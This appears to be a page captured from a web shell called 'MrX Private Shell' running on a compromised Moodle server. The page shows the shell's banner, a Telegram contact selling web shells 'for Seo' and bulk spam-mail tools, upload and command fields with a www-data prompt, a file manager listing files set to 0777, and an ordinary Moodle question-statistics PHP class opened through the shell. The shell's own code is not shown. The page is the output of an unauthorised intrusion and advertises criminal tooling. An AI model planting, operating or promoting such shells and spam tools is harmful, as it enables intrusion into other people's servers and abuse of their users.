__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Class for storing calculated sub question statistics and intermediate calculation values.
 *
 * @package    core_question
 * @copyright  2013 The Open University
 * @author     James Pratt me@jamiep.org
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_question\statistics\questions;
defined('MOODLE_INTERNAL') || die();

/**
 * A class to store calculated stats for a sub question.
 *
 * @package    core_question
 * @copyright  2013 The Open University
 * @author     James Pratt me@jamiep.org
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class calculated_for_subquestion extends calculated {
    public $subquestion = true;

    /**
     * @var array What slots is this sub question used in?
     */
    public $usedin = array();

    /**
     * @var bool Have the slots this sub question has been used in got different grades?
     */
    public $differentweights = false;

    public $negcovar = 0;

    /**
     * @var int only set immediately before display in the table. The order of display in the table.
     */
    public $subqdisplayorder;

    /**
     * Constructor.
     *
     * @param object|null $step the step data for the step that this sub-question was first encountered in.
     * @param int|null $variant the variant no
     */
    public function __construct($step = null, $variant = null) {
        if ($step !== null) {
            $this->questionid = $step->questionid;
            $this->maxmark = $step->maxmark;
        }
        $this->variant = $variant;
    }
}

Filemanager

Name Type Size Permission Actions
all_calculated_for_qubaid_condition.php File 20.26 KB 0777
calculated.php File 8.85 KB 0777
calculated_for_subquestion.php File 2.21 KB 0777
calculated_question_summary.php File 5.97 KB 0777
calculator.php File 21.65 KB 0777
Filemanager